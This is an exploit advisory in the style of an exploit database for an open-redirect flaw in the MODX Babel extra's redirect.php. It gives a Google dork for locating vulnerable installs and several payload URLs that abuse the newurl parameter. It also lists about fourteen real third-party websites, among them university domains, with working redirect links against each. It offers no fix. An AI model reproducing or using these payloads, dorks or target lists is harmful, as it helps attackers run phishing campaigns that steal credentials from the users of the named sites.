ModX Open Source CMS Babel 3.0.0 Open Redirection

`###############################################################################################  
  
# Exploit Title : ModX Open Source CMS Babel Modules 3.0.0 Open Redirect  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 14/01/2019  
# Vendor Homepage : modx.com/extras/package/babel  
# Software Download Link :  
modx.com/extras/download/?id=584e5c06bc8dd305728b4568  
# Software Information Link : docs.modx.com/extras/revo/babel  
# Tested On : Windows and Linux  
# Category : WebApps  
# Affected Versions : 2.1.0 - 2.25 - 2.6.x and 3.0.0  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/modules/babel/""  
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open  
Redirect') ]  
  
###############################################################################################  
  
# Description About the Product :  
*******************************  
  
Babel is an Extra for MODx Revolution that helps you managing your  
multilingual websites using different contexts.  
  
Babel even supports managing several different multilingual websites within  
one MODx instance by using so called context groups.  
  
Babel maintains links between translated resources. In the manager you can  
use the Babel Box to easily switch  
  
between the different language versions of your resources. Translations can  
be created automatically by Babel or defined manually.  
  
Additionally Babel can be used to synchronize certain template variables  
(TVs) of translated resources  
  
which should be the same in every context (language).  
  
###############################################################################################  
  
# Impact :  
*********  
  
* This web application called as ModX Open Source CMS Babel Modules 3.0.0  
and other versions  
  
accepts a user-controlled input that specifies a link to an external site,  
and uses that link in a Redirect.  
  
This simplifies phishing attacks.  
  
* An http parameter may contain a URL value and could cause the web  
application to redirect  
  
the request to the specified URL. By modifying the URL value to a malicious  
site, an attacker may  
  
successfully launch a phishing scam and steal user credentials. Because the  
server name in the  
  
modified link is identical to the original site, phishing attempts have a  
more trustworthy appearance.  
  
###########################################################################  
  
# Open Redirection Exploit :  
***********************  
  
/modules/babel/redirect.php?newlang=[CHANGE-LANGUAGE]&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
/modules/babel/redirect.php?newlang=en_EN&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
/modules/babel/redirect.php?newlang=en_US&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
/modules/babel/redirect.php?newlang=en_GB&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
/modules/babel/redirect.php?newlang=fr_fr&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
/web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://  
[OPEN-REDIRECT-ADDRESS-HERE.gov]  
  
###############################################################################################  
  
# Example Vulnerable Sites :  
*************************  
  
[+]  
lehameaudepalombaggia.com/modules/babel/redirect.php?newlang=en_EN&newurl=https://cxsecurity.com/  
=>  
  
[ Proof of Concept for Open Redirect Vulnerability ] => archive.is/phsBH  
  
[+]  
sbeilfuss-webdesign.nl/noorder/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
nurenergie.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
stormcasinos.com/modules/babel/redirect.php?newlang=en_GB&newurl=https://packetstormsecurity.com  
  
[+]  
aime-toulouse.fr/cmsms/modules/babel/redirect.php?newlang=fr_FR&newurl=https://packetstormsecurity.com  
  
[+]  
serveriem.lv/web/modules/babel/redirect.php?newlang=lv_LV&newurl=https://packetstormsecurity.com  
  
[+]  
web.dici.unipi.it/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
geo.ulg.ac.be/cms/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
alpe-adria.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
lebenstanz.info/modules/babel/redirect.php?newlang=fr_fr&newurl=https://packetstormsecurity.com  
  
[+]  
augustinians.net/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
eds-pt.com/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
pluzine.me/modules/babel/redirect.php?newlang=en_US&newurl=https://packetstormsecurity.com  
  
[+]  
theatredecale.com/tdcms/modules/babel/redirect.php?newlang=en_EN&newurl=https://packetstormsecurity.com  
  
###############################################################################################  
  
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team  
  
###############################################################################################  
`